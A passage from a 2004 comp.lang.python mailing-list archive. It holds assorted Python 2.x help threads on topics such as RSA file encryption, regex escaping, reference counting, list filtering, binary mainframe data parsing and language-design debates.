['item 4', 'item 2', 'item 4', 'item 4', 'item 2', 'item 1', 'item 1',
'item 3', 'item 1', 'item 1', 'item 3', 'item 1', 'item 1', 'item 4',
'item 1', 'item 4', 'item 4', 'item 2', 'item 1', 'item 4', 'item 1',
'item 1', 'item 4', 'item 4', 'item 4', 'item 2', 'item 4', 'item 4',
'item 4', 'item 1']
>>> 

HTH-

John
-- 
John Hazen
<my first name>@<my last name>.net



From jcarlson at nospam.uci.edu  Sat Feb 21 01:50:24 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 20 Feb 2004 22:50:24 -0800
Subject: #! Question
In-Reply-To: <40367658$1@nntp0.pdx.net>
References: <30875970.0402191650.57dfe998@posting.google.com>
	<40367658$1@nntp0.pdx.net>
Message-ID: <c16v8a$87n$1@news.service.uci.edu>

> So, after typing the following to your command processor:
> 
>     ASSOC .py=Python.File
>     FTYPE Python.File=C:\python23\python.exe %1 %*
> 
> You should be able to run python files by simply typing their
> name (assuming a standard python 2.3 install on drive C).
> 

I didn't know about those commands.  Talk about useful.

  - Josiah


From PPNTWIMBXFFC at spammotel.com  Tue Feb 24 16:14:12 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 24 Feb 2004 13:14:12 -0800
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<m3ad38hcu4.fsf@pc150.maths.bris.ac.uk>
Message-ID: <15c2d03b.0402241314.726c6688@posting.google.com>

> > *** Problem: clumsy static class methods

> See PEP 318 (and current discussion on python-dev).

Thanks for the hint.

> > class c (object):
> >     def staticMethod(arg1, arg2, ...):
> >         # self is not handed in... hence I can't use the instance vars
> >         pass
> >     def normalMethod(self, arg1, arg2, ...):
> >         pass
> > 

> What's so special about self?  I really don't like the idea of
> argument names keying this kind of change in behaviour.

One gets to get used to passing in self into class member functions.
It is there and I learned to live with it (self). What separates a
static method from a non-static-method is its (var) context. A static
method is not allowed to use instance vars. This can be easily
achieved by dropping the self-arg in the method definition... but as I
can see by browsing through PEP 318: A lot of "decorators" are wished
and this proposal only "solves" the static method case. Forget about
it - it was just a thought.

> > *** Problem: clumsy properties for classes

> > My proposal:
> > 
> > all getters start with __get__
> > all setters start with __set__
> > all deleters start with __del__
> > 
> 
> You seem really fond of magic names...
> 
No, it uses an idea that Python uses in many places: __len__ is used
with the len-function, __init__ is used when a class is instantiated,
__getitem__ is used with [], etc. etc. so why not use the same scheme
for class properties. But I can live with you saying:

> I hope you're not too offended if I
> say that your suggestion doesn't seem instantly wonderful.

No problem. 8o)

> > *** Problem: Many builtins are not necessary
> 
> Pah.  So what?  If you want minimailty scheme is over there ====>

No, I am not asking for minimality. I am asking for a clean design - a
string has a length therefore a string has the method len(). How many
"object oriented" languages do you know that give you the size/length
of an object by calling an external function? Except for Python I know
no other... and I know: Java, C++, Ruby (and others but not so object
oriented ones).

> > Many builtins are not necessary. To name a few: min / max / len
> > 
> > This functions should be defined on the class:
> 
> Says you!
> 

Yeah, thanks for the convincing arguments against it. 8o)

> 
> > *** Problem: tuples are not necessary
> 
> Says you!  Here's a hint: hash([]).
> 
> [...]

I suppose this is the argument: list are not immutable that is why
they cannot be used a dict key... I wonder how many people use a tuple
as dict key. This seems to be a common practice to justify its own
"type". I admit, I can think of simple workarounds when there wouldn't
be tuples (eg. Instead of transforming a list into tuple why not
transforming it into a string).

> I think you might be expecting something other of Python than what it
> is.  Nothing you suggest is completely ridiculous, just, well,
> slightly un-Pythonic.

un-Pythonic... this bytes ... hmm... why? Reading your comments it
does not justify such a hard judgment - or does it?

Thanks anyway for your response and the hint for PEP 318,
Greetings,
Marco


From gandalf at geochemsource.com  Sat Feb 28 10:06:18 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Sat, 28 Feb 2004 16:06:18 +0100
Subject: PyCrypto and RSA
References: <06Y%b.36359$Kc3.1122381@twister2.libero.it>
Message-ID: <4040AE6A.1080009@geochemsource.com>


  Hello!

I think you should not do this. RSA encryption is quite expensive (in 
terms of processor time). You should only encrypt
a session key with RSA and then use that session key with a symmetric 
algorigthm (e.g. Blowfish, AES, TwoFish etc)
to encode a large file. You can create a session key from a 
cryptographically secure PRNG (Pseudo Random Number
Generator).

Well, this was not actually an anwer to your question. I did not want to 
offend you. It was only a suggestion.

Cheers,

   G

Carmine Noviello wrote:

>Hi,
>I want to say first of all that I'm totally a newbie in cryptography world.
>Is there someone can show me a simple example on how to use PyCrypto lib and
>RSA to encrypt large text file? I'm trying to do it in this way.
>First of all I split the text file in sub parts each one of  key.size() // 8
>size. Then I encrypt using RSA PublicKey algorithm and store each line in a
>target file. This is the pseudo-code:
>
>size = len(plaintext)
>bits = []
>pos = 0
>chunklen = key.size() // 8
>while pos < size:
>     cipheredText = key.encrypt(plaintext[pos:pos+chuncklen], "")
>     bits.append(cipheredText[0])
>     pos += chunklen
>
>file.writelines(bits)
>
>This code seemingly works. I have problems with the code that decrypts the
>ciphered text.
>
>blocksize = (privkey.size() // 8) + 1
>plaintext = ""
>line = fo.read(blocksize)
>while line != "":
>     plaintext += privkey.decrypt(line)
>     line = file.read(blocksize)
>
>Often, but not every time, this code raise an exception "Ciphertext too
>large". I can't understand where I went wrong.
>
>Thanks in advance.
>
>  
>





From amy-g-art at cox.net  Wed Feb 18 19:09:49 2004
From: amy-g-art at cox.net (Amy G)
Date: Wed, 18 Feb 2004 16:09:49 -0800
Subject: How do make a function that creates a sequence of
	nrandomnumbers?
References: <mailman.38.1077148009.27104.python-list@python.org>
Message-ID: <g9TYb.1942$CQ6.1529@fed1read05>

I would - but God knows I had some professors that didn't have the time, let
alone the drive to do that.

People who post to usenet groups should realize how much easier it is to
help them when they are willing to show some initiative in trying to solve
their own problem before making it everyones problem.

"Tony Meyer" <t-meyer at ihug.co.nz> wrote in message
news:mailman.38.1077148009.27104.python-list at python.org...
> > > Thanks, everyone. Also, I'd really like to know how to remove the
> > > lowest number from the sequence.
> > Now this really sounds like homework.
>
> OT, but if you were a teacher assigning homework like this, wouldn't you
> read c.l.p to see which of your students asked the homework questions?
(Or
> at the least, google through the list when the homework is handed in?)
>
> =Tony Meyer
>
>




From FBatista at uniFON.com.ar  Thu Feb 26 11:45:51 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 26 Feb 2004 13:45:51 -0300
Subject: How to obscure a password
Message-ID: <A128D751272CD411BC9200508BC2194D03383691@escpl.tcp.com.ar>

Peter Hansen wrote:

#- > I need to restore the password later and use it as if the 
#- user just entered
#- > it.
#- 
#- Your design is probably fundamentally flawed in that case.  Are you 
#- certain it is not possible to store the hashed password and always
#- to compare against it?

That will imply to the user to enter his password everytime (that's what I'm
trying to avoid).

Anyway, I'll tell the user how insecure is the mechanism, and give him the
freedom to choice between save the password to the disk and don't enter it
anymore, or always enter it.

.	Facundo



From dd at guv.ethz.ch  Sat Feb  7 11:27:11 2004
From: dd at guv.ethz.ch (=?iso-8859-15?Q?David_D=FCrrenmatt?=)
Date: Sat, 07 Feb 2004 17:27:11 +0100
Subject: Recognize structures in Images
Message-ID: <opr20dblac1bpyqk@news.swissonline.ch>

Hi,

I want to write a program in Python which can regonize structures in 
images (e.g. a person's mouth in a picture of a face) and don't know how 
to start...

Do you know any web-ressources on this topic?


Thanks,
dd


From max at alcyone.com  Wed Feb 18 01:00:09 2004
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 17 Feb 2004 22:00:09 -0800
Subject: Memory pre-allocation for large lists
References: <ift530d51l8td0uoohm5t9ad96pq5n4e3i@4ax.com>
Message-ID: <4032FF69.FFF2AED5@alcyone.com>

Avi Kak wrote:

> Can the same be done in Python?

Not directly, but you can just fill it with something you're not going
to use:

	arra = [None] * 999

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ Of war men ask the outcome, not the cause.
    -- Seneca


From Kyler at news.Lairds.org  Sun Feb 15 15:11:57 2004
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Sun, 15 Feb 2004 20:11:57 GMT
Subject: best way(s) to fit a polynomial to points?
Message-ID: <iuu4g1-kl1.ln1@jowls.lairds.org>

I'm trying to do some georeferencing - using points of known
location (ground control points, GCPs) on an image to develop
a polynomial that can be used to approximate the locations of
other points. 

I usually use the Python bindings to GDAL
	http://www.remotesensing.org/gdal/
to manipulate geospatial data but there are no Python bindings
for GDALCreateGCPTransformer().
	http://remotesensing.org/cgi-bin/cvsweb.cgi/~checkout~/osrs/gdal/alg/gdal_crs.c?rev=1.4.2.1&content-type=text/plain
I tried using it from C (both through GDAL and directly to
the GRASS code) and failed.

I'd rather have a Python-based solution anyway, so I'm
searching for appropriate tools.  The ones I'm finding (like
matplotlib.mlab.polyfit() and PyBLD's polfit()) only deal with
single variable equations (f(x) = X).  I need something that
operates on two variables (f(x, y) = X).  (I'd have two
polynomials; one would calculate the northing and the other
would do the easting).  I need to be able to fit at least
third degree polynomials.

The solution does not need to be especially fast.  A pure
Python solution is preferred but I'll take about anything
that works right now.  (I'm trying to show someone how to do
this.  I've only used proprietary software to do it but I've
been meaning to write my own.)

Any suggestions?

Thank you.

--kyler


From deets_noospaam at web.de  Sun Feb  8 11:58:42 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Sun, 08 Feb 2004 17:58:42 +0100
Subject: Basic 'import' problem
References: <c03aeb$12q8$1@ns.felk.cvut.cz> <c03i3f$3v4$03$1@news.t-online.com>
	<c03kmp$28u7$1@ns.felk.cvut.cz>
Message-ID: <c05ps3$r2n$05$1@news.t-online.com>

> My application is started from base.py. This file imports many other
> files (modules) that do different stuff. Base.py references dozens of
> classes and functions in other modules. After a while, there comes a
> time when some of these modules need to reference some basic function
> inluded in base.py. Which means (I thought until now) that I have to
> include base.py in these files. Or not? Are you saying there is no
> chance of doing this? Let's forget "import" for now and please explain
> to me: Is there way to create a Python application consisting of several
> modules that can freely call and reference stuff in each other? From
> your answer it seems that the anwer is "no".

Not really. I try to explain the difference without the import-stuff as you
suggested:

What works is this:

def a():
  # calls a function that is defined later
  b()

def b():
  # calls a()
  a()

Now this example would be endlessly recursive, but thats not the point right
now.

now what you try to do is this:

c()

def c():
  ...

Please note the difference here: The _call_ is made on the indentation-level
0, thus c() gets called _before_ it is defined! Somebody in this thread
said such things were possible with PL/1 - well, that might be, but only if
you had a two-pass-compilation scheme that ignores statements in the first
pass. But your _module_ is _executing_code_ that whilst it is beeing
imported. Thats not working. And I don't see what good thats for - of
course you can do initalization-stuff then, but this must rely _only_ on
the module itself, not something thats defined later. If your app is
created in such a way that things are executed in such a difficult way,
that clearly shows bad design - it would e.g. depend on the order of things
beeing imported, and that shouldn't make a difference. You will create a
nightmare for debugging then.

If you have code that is used by several modules, factorize it out and
import it on all occasions its used.

--

Regards,

Diez B. Roggisch


From __peter__ at web.de  Fri Feb 13 19:33:46 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 14 Feb 2004 01:33:46 +0100
Subject: re.sub replacement text \-escapes woe
References: <yfsznbmh7sn.fsf@black132.ex.ac.uk>
	<c0jpmb$kv1$03$1@news.t-online.com>
Message-ID: <c0jqda$o90$05$1@news.t-online.com>

Peter Otten wrote:

> Alexander Schmolck wrote:
> 
>> Sorry if I missed something obvious, but how do you do this more
>> intelligently?
>> 
>> def escape(s):
>>     return re.sub(r'([${}\\])', r'\ \1', s).replace('\\ ', '\\')
>> 
>> 'as
> 
> Interesting. No direct attack, but another workaround:
> 
> re.sub(r'([${}\\])', lambda m: '\\' + m.group(), s)

re.sub(r'([${}\\])', r'\\\1', s)

Either that or I'm slash-blind tonight...

Peter


From jcarlson at nospam.uci.edu  Mon Feb  2 18:44:08 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 15:44:08 -0800
Subject: bsddb.dbshelve problem unpickling objects from another directory
In-Reply-To: <401df5c2$0$3244$58c7af7e@news.kabelfoon.nl>
References: <401d7d15$0$3257$58c7af7e@news.kabelfoon.nl>
	<bvk2t3$q5h$1@news.service.uci.edu>
	<401df5c2$0$3244$58c7af7e@news.kabelfoon.nl>
Message-ID: <bvmngg$9r0$3@news.service.uci.edu>

> Thank you for your quick answer. But, this very much limits the way
> persistent objects can be used. Objects can apparently only be used in the
> context they were created. There is a logic to this, but it is also strange
> to me. Is there a way that upickled objects can also be used outside there
> original context?

I don't know.  If I were put into a situation like that, I'd probably 
just go and do this where necessary:

import sys
sys.path.append('<path to database module>')

import testmodule
#etcetera


Sure, it mangles paths, but then everything has the same context and 
will work.

  - Josiah


From gandalf at geochemsource.com  Thu Feb 26 05:17:24 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Thu, 26 Feb 2004 11:17:24 +0100
Subject: htmlentities, htmlspecialchars
References: <DE1CF2B4FEC4A342BF62B6B2B334601E561D9A@opus.amorhq.net>
Message-ID: <403DC7B4.3040701@geochemsource.com>

>
>
>>Hi all! I'm writting a web application using IIS and Python. I would
>>like to have the Python equvalient of the PHP functions
>>'htmlentities'
>>and 'htmlspecialchars'. E.g. to convert
>>
>>  a'   >>>>  aacute;
>>  ?  >>>>    otilde;
>>
>>and the others. I looked for them in many libraries (urllib, htmllib,
>>urlparse etc.) but I could only find the 'urlencode'
>>function. I could
>>not find anything on google  ('python htmlentities
>>equvalent'). Please
>>help me find it out. Thanks in advance.
>>    
>>
>
>http://www.python.org/doc/current/lib/module-htmlentitydefs.html is used by htmllib. Try codepoint2name (new in 2.3).
>
I found the perfect solution.  Python equivalent of PHP's htmlentities 
or htmlspecialchars is the escape function from the cgi module.

Keywords: Python, PHP, htmlentities, htmlspecialchars, equivalent, 
escape, cgi

Adding another object to the Google universe. :-)

Best,

   G





From scare.crow at oz.land  Tue Feb 24 09:08:13 2004
From: scare.crow at oz.land (Eric Moors)
Date: Tue, 24 Feb 2004 15:08:13 +0100
Subject: undefined symbol: PyUnicodeUCS2_FromUnicode
References: <c1fgnc$e2e$1@news.surfnet.nl> <c1fhf1$mqk$1@news1.wdf.sap-ag.de>
Message-ID: <c1flse$irk$1@news.surfnet.nl>

Daniel Dittmar wrote:

> Eric Moors wrote:
>> /home/me>redhat-config-services
>> ImportError: /usr/lib/python2.2/site-packages/gtk-2.0/gtk/_gtk.so:
> undefined
>> symbol: PyUnicodeUCS2_FromUnicode
> 
> Python on RedHat 9 is compiled with 4 byte unicode characters (UCS4), most
> other distributions use 2 byte unicode characters (UCS2). So if you
> install a rpm compiled on a different system, this error is bound to

I have installed mandrake's synaptic, but that is replaced, and maybe some
fedora core rpms. The rest are RH9 dedicated RPMS or compiled at my machine

Just checked, the only fedora core RPM I had was for wine. I removed it,
just to be sure. No change (None expected)

> happen. Solution: compile the python module from source, but this requires
> that the sources of the module have been prepared to deal with UCS4.

Thanks, but...
Which module? Is this a gtk thing? (The name does suggest this)
but `rpm -qf _gtk.so` shows that _gtk.so doesn't belong to any package.
Yet gtk is installed by rpm.

Aargh. So this is probably something I installed from a tarball.

I can remove it manually (and _gtk.la), but then the program fails with:

Fatal Python error: could not import pango
/usr/share/redhat-config-services/redhat-config-services: line 4: 13918
Aborted                 /usr/bin/python
/usr/share/redhat-config-services/serviceconf.py


It must probably also possible to trace this back, but I am severly lacking
python knowledge to do this. Any pointers?

Eric




From balex at sympatico.ca  Wed Feb  4 16:01:03 2004
From: balex at sympatico.ca (Brian)
Date: Wed, 04 Feb 2004 16:01:03 -0500
Subject: counting references to an instance
References: <pan.2004.02.04.18.55.02.385092.6672@sympatico.ca>
	<bvris7$hcd$1@panix1.panix.com>
Message-ID: <pan.2004.02.04.21.00.59.322564.7241@sympatico.ca>

On Wed, 04 Feb 2004 14:57:59 -0500, Aahz wrote:

> In article <pan.2004.02.04.18.55.02.385092.6672 at sympatico.ca>, Brian
> <balex at sympatico.ca> wrote:
>>
>>Is it possible to get an object to return the number of references there
>>are to itself?
>>
>>Ex:
>>
>>class test(object):
>> pass
>>
>>a = test()
>>b = a
>>
>># Should print "2", if I knew the name of the method. print a.refCount()
> 
> sys.getrefcount(a) will do the trick -- but it will print 3.  Can you
> figure out why?
 
Does the instance of test contain a reference to itself?

Brian.


From jcarlson at nospam.uci.edu  Fri Feb 13 20:10:16 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 13 Feb 2004 17:10:16 -0800
Subject: exec - return value of expression
In-Reply-To: <87hdxuimqo.fsf@gmx.net>
References: <87hdxuimqo.fsf@gmx.net>
Message-ID: <c0jsmb$jr6$1@news.service.uci.edu>

> One solution would be to change the __repr__-Methods of the objects
> which are to be prettyprinted.  This should work, but I would like to
> prettyprint some builtin objects too, like a list of formulas for
> example.  And I don't know how to change the __repr__ of builtin
> lists.

Here's a kludge...if you are willing to manually instantiate all lists 
first.

 >>> _list = list
 >>> class list(_list):
...     def __repr__(self):
...         orig = _list.__repr__(self)
...         return "blah "+orig
...
 >>> a = list()
 >>> a
blah []
 >>> a.append('hello')
 >>> a
blah ['hello']
 >>> a.extend(['world', 'blah'])
 >>> a
blah ['hello', 'world', 'blah']

> Any hints on how to solve this Problem in an elegant way are greatly
> appreciated.

It is not elegant, but it may work for you.

  - Josiah


From anton at vredegoor.doge.nl  Wed Feb 25 19:15:47 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Thu, 26 Feb 2004 01:15:47 +0100
Subject: Newbie lost(new info)
References: <mailman.113.1077727206.8594.python-list@python.org><403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
	<mailman.132.1077738332.8594.python-list@python.org>
	<103q9kkjbru46bb@news.supernews.com>
Message-ID: <403d3b33$0$11500$3a628fcd@reader2.nntp.hccnet.nl>

"John Roth" <newsgroups at jhrothjr.com> wrote:

>For the rest of it, I'd like to see a *real* hex dump in mainframe
>format. From what you've given us so far I'm not certain whether
>the struct module can convert the data for you.

Probably what John wants to see is the output of something like this:

#one 'line' of data (since it's a binary file there is no real line
#ending convention: a line is just a specific number of bytes long,
#it's important to find out how many exactly)

from binascii import hexlify
inf = file('somefile','rb')
data = inf.read(1005) #a 113 bytes string + 232 4 bytes floats
L = map(hexlify,data)
print L

Anton




From cookedm+news at physics.mcmaster.ca  Sat Feb 21 23:27:59 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Sat, 21 Feb 2004 23:27:59 -0500
Subject: list partition
References: <Y4RZb.28632$x57.632@newssvr25.news.prodigy.com>
Message-ID: <qnkd687u4a8.fsf@arbutus.physics.mcmaster.ca>

At some point, "Moosebumps" <Moosebumps at Moosebumps.Moosebumps> wrote:

> Is there a function that takes a list and predicate, and returns two
> lists -- one for which the predicate is true and one for which it is false?
>
> I know I can call filter(p, list) and filter( not p, list) or something like
> that, but I assume it would be more efficient to do it in one pass.

Not too hard to write your own:

def filtersplit(p, iterable):
    ptrue = []
    pfalse = []
    for x in iterable:
        if p(x):
            ptrue.append(x)
        else:
            pfalse.append(x)
    return ptrue, pfalse

> Actually I probably can't call "not p", I would have to wrap p in a function
> notP or something.  Or is there a shortcut for lambda(x) : not p(x)?  I
> guess it isn't that long : )

itertools.ifilterfalse negates the condition for you.

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From user at domain.invalid  Fri Feb  6 14:34:15 2004
From: user at domain.invalid (not_yet)
Date: Fri, 06 Feb 2004 19:34:15 GMT
Subject: new newbie
In-Reply-To: <UJNUb.10836$213.5980@edtnps89>
References: <UJNUb.10836$213.5980@edtnps89>
Message-ID: <X_RUb.500$7Q1.161@clgrps12>

thanks again

also wanted to ask is there a faq for this group?



not_yet wrote:
> new to python and linux
> 
> how do I start idle?
> 
> using Fedora / Python2.2
> 
> thanks


From bart_nessux at hotmail.com  Sun Feb 29 12:44:51 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Sun, 29 Feb 2004 12:44:51 -0500
Subject: Speed Comparison Perl Python & C
Message-ID: <c1t89m$a3u$1@solaris.cc.vt.edu>

Just fooling around this weekend. Wrote and timed programs in C, Perl and
Python. Each Program counts to 1,000,000 and prints each number to the
console as it counts. I was a bit surprised. I'm not an expert C or Perl
programming expery, I'm most familiar with Python, but can use the others
as well.

Here are my results:

C = 23 seconds
Python = 26.5 seconds
Perl = 34.5 seconds

Here are the programs:

-------------------------
#The C version:
-------------------------

#include <stdio.h>

int main(void)
{
int x = 0;
while (x < 1000000) {
   printf("%d \n", x++);
   }
}

-------------------------
#The Python version:
-------------------------

#!/usr/bin/python

x = 0
while x < 1000000:
   x = x + 1
   print x

-------------------------
#The Perl version:
-------------------------

#!/usr/bin/perl -Tw

use strict;

my $x = 0;
while($x < 1000000) {
   print $x++, "\n";
   }

What do you guys think of this? I don't know enough about Perl & C, and
perhaps Python, to know if this was indeed a fair test. I thought C would
do this much faster than it did. Any ideas? 






From nospam-deets at web.de  Tue Feb 17 09:17:19 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Tue, 17 Feb 2004 15:17:19 +0100
Subject: Compiling python scripts to native code ??
References: <BC5784A3.10B0C%fred.mailhot@videotron.ca>
Message-ID: <c0t7u1$1bhduh$1@ID-111250.news.uni-berlin.de>

> Is there any way to do this for *nix ?? Pointers to resources and/or FAQS
> would be much appreciated.

No, its not. For no platform. You can use psyco for JIT-compiling some
arithmetically challenged stuff, and pyrex to create native code in a
python-like syntax. 

-- 
Regards,

Diez B. Roggisch


From peter at engcorp.com  Wed Feb 11 12:33:13 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 12:33:13 -0500
Subject: Non Parsed Headers in Python
References: <8089854e.0402102357.6d7b721e@posting.google.com>
	<mailman.1459.1076495065.12720.python-list@python.org>
	<8089854e.0402110819.191a59b7@posting.google.com>
Message-ID: <402A6759.A7B58981@engcorp.com>

Fuzzyman wrote:
> 
> Aha.........
> I'm not sure which of these two was the right answer..... but I've
> used both and it's working.

Either should have worked, and now one of them is redundant.  If
you don't mind using the "-u" option you can certainly save yourself
the trouble of inserting .flush() calls everywhere.

-Peter


From jcarlson at nospam.uci.edu  Wed Feb 25 17:32:02 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 25 Feb 2004 14:32:02 -0800
Subject: No Thoughts about Everything
In-Reply-To: <%C7%b.22026$M8.2005242@news4.srv.hcvlny.cv.net>
References: <mailman.106.1077724046.8594.python-list@python.org>
	<%C7%b.22026$M8.2005242@news4.srv.hcvlny.cv.net>
Message-ID: <c1j7u2$p08$1@news.service.uci.edu>

> This will create c as an unmodifiable attribute:
> 
>     c = property(lambda self: 2.99792458e8)
> 
> 
> Does that do what you want?

 >>> class foo:
...     c = property(lambda self: 2.99792458e8)
...
 >>> v = foo()
 >>> v.c
299792458.0
 >>> v.c += 1
 >>> v.c
299792459.0
 >>> foo().c
299792458.0
 >>>

It doesn't quite work.

  - Josiah


From jacek.generowicz at cern.ch  Thu Feb 26 06:21:37 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 26 Feb 2004 12:21:37 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
	<mailman.126.1077730491.8594.python-list@python.org>
	<tyfbrnmmdil.fsf@pcepsft001.cern.ch>
	<mailman.156.1077790418.8594.python-list@python.org>
Message-ID: <tyf7jyam6gu.fsf@pcepsft001.cern.ch>

Ooops, sorry, you're right, the bug was of _my_ creation this time.


From prouleau at impathnetworks.com  Fri Feb 27 11:20:06 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Fri, 27 Feb 2004 11:20:06 -0500
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <mailman.199.1077893785.8594.python-list@python.org>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>	<mailman.191.1077856934.8594.python-list@python.org>	<FZG%b.20178$253.1255290@news20.bellglobal.com>
	<mailman.199.1077893785.8594.python-list@python.org>
Message-ID: <uZJ%b.23270$ee3.513937@news20.bellglobal.com>

Skip Montanaro wrote:


> 
> If you really want a dummy _() you can also stuff your version into
> builtins:
> 
>     >>> import __builtin__
>     >>> def foo(s): return s
>     ... 
>     >>> __builtin__._ = foo
>     >>> _
>     <function foo at 0x1d6670>
>     >>> _("hi")
>     'hi'
> 

I tried that, but it only works for the first call...

[Shell buffer started: python.exe]
Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on 
win32
Type "help", "copyright", "credits" or "license" for more information.
 >>> import __builtin__
 >>> def foo(s): return s
...
 >>> __builtin__._ = foo
 >>> _
<function foo at 0x008F98B0>
 >>> _
<function foo at 0x008F98B0>
 >>> _('hi')
'hi'
 >>> _
'hi'
 >>> _('Hello')
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
TypeError: 'str' object is not callable
 >>>


Pierre



From newsgroups at jhrothjr.com  Wed Feb 25 17:49:12 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Wed, 25 Feb 2004 17:49:12 -0500
Subject: Newbie lost(new info)
References: <mailman.113.1077727206.8594.python-list@python.org><403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
	<mailman.132.1077738332.8594.python-list@python.org>
Message-ID: <103q9kkjbru46bb@news.supernews.com>

If you could read it with SAS, most likely the floats are in
IBM's proprietary format, not in standard IEEE-488 (or whatever)
format. (IBM, by the way, was there first...) I'm not certain whether
Python can convert them. You might have to do some bit twiddling,
which is going to be awfully slow.

For the rest of it, I'd like to see a *real* hex dump in mainframe
format. From what you've given us so far I'm not certain whether
the struct module can convert the data for you.

John Roth



"Angelo Secchi" <secchi at sssup.it> wrote in message
news:mailman.132.1077738332.8594.python-list at python.org...
>
> I checked with a statistical software(SAS) and I was able to convert my
> file using as a format something called s370frb4. that according to its
> manual should correspond to a float in C and to a REAL*4 in fortran. Now
> I know that the first 3 numbers in the binary part should be exactly:
>
>
> 15612852 0 0
>
> I also notice using struct module that
>
> >>> struct.pack('i',15612852)
>     '\xb4;\xee\x00'
>
> >>> struct.pack('i',0 )
>     '\x00\x00\x00\x00'
>
>
> not very different (just the order and the F around) from the beginning
> of the binary part of my file
>
> 13510010222010341341F\xee;\xb4\x00\x00\x00\x00\x00\x00\x00\x00F]\xe3\x9
> a\x00
>
>
> Can these infos help anybody to help me?
> Thanks again hoping to be able to throe away any proprietary sofware...
> Angelo
>
>
>
>
> On Wed, 25 Feb 2004 18:49:27 +0100
> anton at vredegoor.doge.nl (Anton Vredegoor) wrote:
>
> > Angelo Secchi <secchi at sssup.it> wrote:
> >
> > >
> > >I'm fighting with a binary file and I am definitely lost.
> > >I know that each line of the file has a first part that is a string
> > >with length 113 and then that there is a group of identical fields. I
> > >do not know the precise format of these fields even if I know that
> > >the file was created on an IBM Mainframe and that in the binary part
> > >there should be 223 fields with the same width 4.
> > >Just to give you an idea if I read the first line of my file  as a
> > >string I obtain something like (just a small part of the first line):
> > >
> > >13510010222010341341F\xee;\xb4\x00\x00\x00\x00\x00\x00\x00\x00F]\xe3
> > >\x9 a\x00
> > >
> > >
> > >Still I am not able to convert this binary. Can anybody give some
> > >advices?
> >
> > The string above contains escape sequences, so sometimes four
> > characters correspond to one byte, sometimes a char is just a byte.
> > This is not really present in the file but just an artifact of the way
> > you chose to print it. In order to gain more insight:
> >
> > #open the file in binary mode e.g:
> > inf = file('somefile','rb')
> >
> > #read 1 line e.g:
> > line = inf.readline()
> >
> > #turn this line into a list of characters:
> > L = list(line)
> >
> > #Inspect the list L and come back here with further questions,
> > #if you have any :-)
> > print L
> >
> > Anton
> >
> >
> >
> >
> >
> > -- 
> > http://mail.python.org/mailman/listinfo/python-list
>
>
> --
> ========================================================
>  Angelo Secchi                     PGP Key ID:EA280337
> ========================================================
>   Current Position:
>   Graduate Fellow Scuola Superiore S.Anna
>   Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
>   ph.: +39 050 883365
>   email: secchi at sssup.it www.sssup.it/~secchi/
> ========================================================
>




From wmwd2zz02 at sneakemail.com  Tue Feb 24 21:01:06 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Wed, 25 Feb 2004 15:01:06 +1300
Subject: Thoughts about Python
In-Reply-To: <15c2d03b.0402241237.708cb4e8@posting.google.com>
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
	<15c2d03b.0402241237.708cb4e8@posting.google.com>
Message-ID: <c1gvl4$1j0arb$1@ID-169208.news.uni-berlin.de>

Marco Aschwanden wrote:
> Well, yeah, this is true and isn't. It is true that there is no rule
> how to name a class. To me a list / dict / string is a (basic) class
> (you take about types - the manuals does also) but why introduce new
> words, when the class-idiom is enough to explain everything.

Types and classes used to be very different things, but somewhere
around Python 2.1 or 2.2 a project was begun to unify the two
concepts, and nowadays the terms "type" and "class" are very
nearly synonymous. (There still exist what are now called "old-style
classes", but these are expected to disappear eventually, at which
time we will be able to stop talking about types at all and just
speak of classes.)

Before the type/class unification, builtins such as list and str
were functions. After the unification, it made sense to re-define
them as types/classes for compatibility, and for consistency the
new ones such as dict were named in the same style.

You're right that naming conventions (or lack thereof) in Python
leave something to be desired, but we're stuck with many of them
for historical reasons. Personally, I *like* that the most
fundamental built-in functions and classes have the shortest
and simplest names.

Your suggested convention (classes start with uppercase, functions
with lowercase) has its uses, and I tend to follow it in most of
